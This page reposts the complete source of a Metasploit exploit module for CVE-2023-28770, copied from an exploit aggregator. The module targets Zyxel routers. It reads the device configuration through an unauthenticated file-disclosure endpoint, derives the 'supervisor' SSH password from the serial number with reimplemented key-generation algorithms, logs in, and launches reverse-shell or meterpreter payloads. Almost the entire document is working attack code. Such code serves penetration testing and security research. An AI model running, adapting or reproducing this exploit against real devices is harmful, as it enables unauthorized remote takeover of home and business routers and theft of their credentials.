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Zyxel Chained Remote Code Execution

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050030

Below is a copy:

Zyxel Chained Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'socket'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :ssh_socket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',
        'Description' => %q{
          This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd)
          and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
          The remote code execution vulnerability can be exploited by chaining the local file disclosure
          vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
          of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
          With this information disclosure, the attacker can determine if the router is reachable via ssh
          and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
          a weak implementation of a password derivation algorithm using the device serial number.

          After exploitation, an attacker will be able to execute any command as user `supervisor`.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author of exploit chain and MSF module contributor
          'SEC Consult Vulnerability Lab',
          'Thomas Rinsma',
          'Bogi Napoleon Wennerstrm'
        ],
        'References' => [
          ['CVE', '2023-28770'],
          ['URL', 'https://r.sec-consult.com/zyxsploit'],
          ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/'],
          ['URL', 'https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/'],
          ['URL', 'https://github.com/boginw/zyxel-vmg8825-keygen'],
          ['URL', 'https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770']
        ],
        'DisclosureDate' => '2022-02-01',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPSBE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPSBE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Interactive SSH',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          'SSH_TIMEOUT' => 30,
          'WfsDelay' => 5
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])
      ]
    )
    register_advanced_options(
      [
        OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
      ]
    )
  end

  # supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers
  # based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrm
  # https://github.com/boginw/zyxel-vmg8825-keygen

  def double_hash(input, size = 8)
    # ROUND 1
    # take the MD5 hash from the serial number SXXXXXXXXXXXX
    # this returns a hash of 32 char bytes.
    # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
    # store two char bytes in round1 and continue with next two char bytes from the hash.
    md5_str_array = Digest::MD5.hexdigest(input).split(//)
    round1_str_array = Array.new(32)
    j = 0
    until j == 32
      if md5_str_array[j] == '0'
        round1_str_array[j] = md5_str_array[j + 1]
      else
        round1_str_array[j] = md5_str_array[j]
      end
      round1_str_array[j + 1] = md5_str_array[j + 1]
      j += 2
    end
    round1 = round1_str_array.join
    # ROUND 2
    # take the MD5 hash from the result of round1
    # returns a hash of 32 char bytes.
    # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
    # store two char bytes in round2 and continue with next two char bytes.
    md5_str_array = Digest::MD5.hexdigest(round1).split(//)
    round2_str_array = Array.new(32)
    j = 0
    until j == 32
      if md5_str_array[j] == '0'
        round2_str_array[j] = md5_str_array[j + 1]
      else
        round2_str_array[j] = md5_str_array[j]
      end
      round2_str_array[j + 1] = md5_str_array[j + 1]
      j += 2
    end
    # ROUND 3
    # take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3
    # to create the final password hash with defined number (size) of alphanumeric characters and return the final result
    round3_str_array = Array.new(size)
    for i in 0..(size - 1) do
      round3_str_array[i] = round2_str_array[i * 3]
    end
    round3 = round3_str_array.join
    return round3
  end

  def mod3_key_generator(seed)
    # key generator function used in the SerialNumMethod3 pasword derivation function
    round4_array = Array.new(16, 0)
    found0s = 0
    found1s = 0
    found2s = 0

    while (found0s == 0) || (found1s == 0) || (found2s == 0)
      found0s = 0
      found1s = 0
      found2s = 0

      power_of_2 = 1
      seed += 1

      for i in 0..9 do
        round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor
        if (round4_array[i] == 1)
          found1s += 1
        elsif (round4_array[i]) == 2
          found2s += 1
        else
          found0s += 1
        end
        power_of_2 = power_of_2 << 1
      end
    end
    return seed, round4_array
  end

  def serial_num_method2(serial_number)
    # SerialNumMethod2 password derivation function
    pwd = double_hash(serial_number)
    return pwd
  end

  def serial_num_method3(serial_number)
    # SerialNumMethod3 password derivation function

    # constant definitions
    keystr1_byte_array = 'IO'.bytes.to_a
    keystr2_byte_array = 'lo'.bytes.to_a
    keystr3_byte_array = '10'.bytes.to_a
    valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a
    offset1 = 0x8
    offset2 = 0x20

    round3 = double_hash(serial_number, 10)
    round3.upcase!
    round3_byte_array = round3.bytes.to_a

    md5_str = Digest::MD5.hexdigest(serial_number)
    md5_str_array = md5_str.split(//)
    offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]

    result = mod3_key_generator(offset.to_i(16))
    offset = result[0]
    round4 = result[1]

    for i in 0..9 do
      if round4[i] == 1
        new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i
        round3_byte_array[i] = new_val
        for j in 0..1 do
          next unless (round3_byte_array[i] == keystr1_byte_array[j])

          index = offset1 + ((offset + j) % 0x18)
          round3_byte_array[i] = valstr_byte_array[index]
          break
        end
      elsif round4[i] == 2
        new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i
        round3_byte_array[i] = new_val
        for j in 0..1 do
          next unless (round3_byte_array[i] == keystr2_byte_array[j])

          index = offset2 + ((offset + j) % 0x18)
          round3_byte_array[i] = valstr_byte_array[index]
          break
        end
      else
        new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i
        round3_byte_array[i] = new_val
        for j in 0..1 do
          next unless (round3_byte_array[i] == keystr3_byte_array[j])

          var = ((offset + j) >> 0x1f) >> 0x1d
          index = ((offset + j + var) & 7) - var
          round3_byte_array[i] = valstr_byte_array[index]
          break
        end
      end
    end
    pwd = round3_byte_array.pack('C*')
    return pwd
  end

  def crack_supervisor_pwd(serial)
    # crack supervisor password using the device serial number
    # there are two confirmed hashing functions that can derive the supervisor password from the serial number:
    # SerialNumMethod2 and SerialNumMethod3
    # both passwords candidates will be returned as hashes

    hash_pwd = { 'method2' => nil, 'method3' => nil }
    # SerialNumMethod2
    hash_pwd['method2'] = serial_num_method2(serial)
    # SerialNumMethod3
    hash_pwd['method3'] = serial_num_method3(serial)

    print_status("Derived supervisor password using SerialNumMethod2: #{hash_pwd['method2']}")
    print_status("Derived supervisor password using SerialNumMethod3: #{hash_pwd['method3']}")
    return hash_pwd
  end

  def report_creds(user, pwd)
    credential_data = {
      module_fullname: fullname,
      username: user,
      private_data: pwd,
      private_type: :password,
      workspace_id: myworkspace_id,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_details)

    cred_res = create_credential_and_login(credential_data)
    unless cred_res.nil?
      print_status("Credentials for user:#{user} are added to the database.")
    end
  end

  def get_configuration
    # Get the device configuration by exploiting the LFI vulnerability
    return send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/Export_Log?/data/zcfg_config.json')
    })
  end

  # Initiate the process configuration exception class used in the process_configuration function
  class ProcessConfigException < StandardError
    attr_reader :exception_type

    def initialize(msg = 'This is my custom process config exception', exception_type = 'custom')
      @exception_type = exception_type
      super(msg)
    end
  end

  def process_configuration(res)
    # Initiate the instance variable config to store the configuration
    @config = {}

    # Parse the device configuration json file
    res_json = res.get_json_document
    if res_json.blank?
      raise ProcessConfigException.new 'No device configuration file found.', 'ConfigUnknown'
    end

    # process json output and retrieve information about supervisor user, ssh port and ssh WAN service status
    # Also grab hardware and software version including the serial number to crack the password of user supervisor
    @config['hardware'] = res_json.dig('DeviceInfo', 'HardwareVersion')
    @config['software'] = res_json.dig('DeviceInfo', 'SoftwareVersion')
    @config['serial'] = res_json.dig('DeviceInfo', 'SerialNumber')

    login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')
    unless login_cfg.nil?
      @config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'
    end

    remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')
    unless remote_service.nil?
      service = remote_service.select { |s| s['Name'] == 'SSH' }.first
      if service&.fetch('Name', nil) == 'SSH'
        @config['ssh_port'] = service['Port']
        @config['ssh_wan_access'] = service['Mode']
        @config['ssh_service_enabled'] = service['Enable']
      end
    end
    print_status("Hardware:#{@config['hardware']} Firmware:#{@config['software']} Serial:#{@config['serial']}")

    # check if all hash key/value pairs are populated and raise exceptions if retrieved config is not vulnerable
    if @config['serial'].nil? || @config['ssh_user'].nil? || @config['ssh_port'].nil? || @config['ssh_wan_access'].nil? || @config['ssh_service_enabled'].nil?
      raise ProcessConfigException.new 'Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.', 'ConfigUnknown'
    end

    # check if ssh service is enabled
    # if true then check ssh_port is open and ssh service is accessible from the WAN side
    if @config['ssh_service_enabled']
      if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
        return
      else
        raise ProcessConfigException.new "WAN access to SSH service is NOT allowed or SSH port #{@config['ssh_port']} is closed. Try exploit from the LAN side.", 'ConfigUnreachable'
      end
    else
      raise ProcessConfigException.new 'SSH service is NOT available.', 'ConfigNotVulnerable'
    end
  end

  def execute_command(cmd, _opts = {})
    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }
  rescue Timeout::Error
    @timeout = true
  end

  def do_login(ip, user, pass, ssh_port)
    # create SSH session and login
    # if login is successfull, return true else return false. All other errors will trigger an immediate fail
    opts = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: ssh_port,
      password: pass
    })

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(ip, user, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      return false
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
    return true
  end

  def check_port(port)
    # checks network port and return true if open and false if closed.
    Timeout.timeout(datastore['ConnectTimeout']) do
      TCPSocket.new(datastore['RHOST'], port).close
      return true
    rescue StandardError
      return false
    end
  rescue Timeout::Error
    return false
  end

  def check
    # Initiate the instance variable config to store the configuration
    # @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil }

    res = get_configuration
    return CheckCode::Safe if res.nil? || res.code != 200

    begin
      process_configuration(res)
    rescue ProcessConfigException => e
      case e.exception_type
      when 'ConfigNotVulnerable', 'ConfigUnreachable'
        return CheckCode::Safe(e.message)
      when 'ConfigUnknown'
        return CheckCode::Unknown(e.message)
      end
    end
    return CheckCode::Vulnerable
  end

  def exploit
    # run if AutoCheck is false (@config = nil), otherwise use the information in @config gathered during the check method
    unless @config
      res = get_configuration
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if res.nil? || res.code != 200

      begin
        process_configuration(res)
      rescue ProcessConfigException => e
        case e.exception_type
        when 'ConfigNotVulnerable'
          return fail_with(Failure::NotVulnerable, e.message)
        when 'ConfigUnreachable'
          return fail_with(Failure::Unreachable, e.message)
        when 'ConfigUnknown'
          return fail_with(Failure::Unknown, e.message)
        end
      end
    end

    # extra checks added to handle ForceExploit true setting
    if @config['ssh_service_enabled']
      if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
        print_status("SSH service is available and SSH Port #{@config['ssh_port']} is open. Continue to login.")
      else
        fail_with(Failure::Unreachable, 'SSH service is not availabe and/or SSH port is closed.')
      end
    else
      fail_with(Failure::BadConfig, 'SSH service and/or SSH port information is missing.')
    end

    # derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3
    if @config['serial'].nil?
      fail_with(Failure::BadConfig, 'Serial device number is missing to crack the supervisor password.')
    else
      supervisor_pwd = crack_supervisor_pwd(@config['serial'])
    end

    # try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2
    if do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method3'], @config['ssh_port'])
      print_status('Authentication with derived supervisor password using Method3 is successful.')
      report_creds(@config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']
    elsif do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method2'], @config['ssh_port'])
      print_status('Authentication with derived supervisor password using Method2 is successful.')
      report_creds(@config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']
    else
      fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')
    end

    if target.name == 'Interactive SSH'
      handler(ssh_socket)
      return
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager(linemax: 500)
    end
    @timeout ? ssh_socket.shutdown! : ssh_socket.close
  end
end

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